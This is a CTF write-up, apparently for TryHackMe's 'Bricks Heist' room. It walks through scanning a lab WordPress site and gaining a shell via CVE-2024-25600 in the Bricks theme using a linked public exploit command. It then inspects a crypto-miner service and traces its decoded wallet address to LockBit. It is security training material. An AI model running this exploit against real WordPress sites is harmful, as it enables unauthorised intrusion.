anjai7/tryhack3m-bricks-heistTryHackMe CTF writeup — WordPress RCE via CVE-2024-25600, crypto miner forensics, and LockBit ransomware group identification
target:10.201.6.98 enumeration
nmap -A 10.201.6.98
since there is a wordpress with name "brick by brick" and the name of this room is brick it is probably where we can find vulnerability
so lets enumerate wordpress
wpscan --url https://bricks.thm --disable-tls-checks
running with tls-checks wont work
here another reference to brick lets see if this theme has any vulnerability
search for bricks 1.9.5 vulnerability and you will see a RCE and in the room you can see RCE CVE as key so it is probably the corrrect path
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT i used the code form this repo
python CVE-2024-25600.py --url https://bricks.thm --threads 10
you also need to install some modules
then we can get the first answerShell> ls -la

since i cant find answer 2 second question i moved to 3rd question and found it out to be
ubuntu.service loaded active running TRYHACK3M
then i used this to find answer to 3rd question
Shell> systemctl cat ubuntu.service
# /etc/systemd/system/ubuntu.service
[Unit]
Description=TRYHACK3M
[Service]
Type=simple
ExecStart=/lib/NetworkManager/nm-inet-dialog
Restart=on-failure
[Install]
WantedBy=multi-user.target
next we have to find the miner instance since
ExecStart=/lib/NetworkManager/nm-inet-dialog
lets look at the ==/lib/NetworkManager== directory
and in that inet.conf has this
now that we we know inet.conf is the instance lets find the associated wallet address
strings /lib/NetworkManager/inet.conf | grep -E '[13][a-km-zA-HJ-NP-Z1-9]{25,34}|4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}'
we can run this command to find id
it is encrypted so we have to decode it
echo 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d30453159556447
6130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d | xxd -r -p | base64 -d
bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
and this is the wallet id
https://www.blockchain.com/explorer
then we can search this id in this website to find big amount reciver
then we can search for the receiver ==32pTjxTNi7snk8sodrgfmdKao3DEn1nVJM==
in google
as we can see the group is lockbit
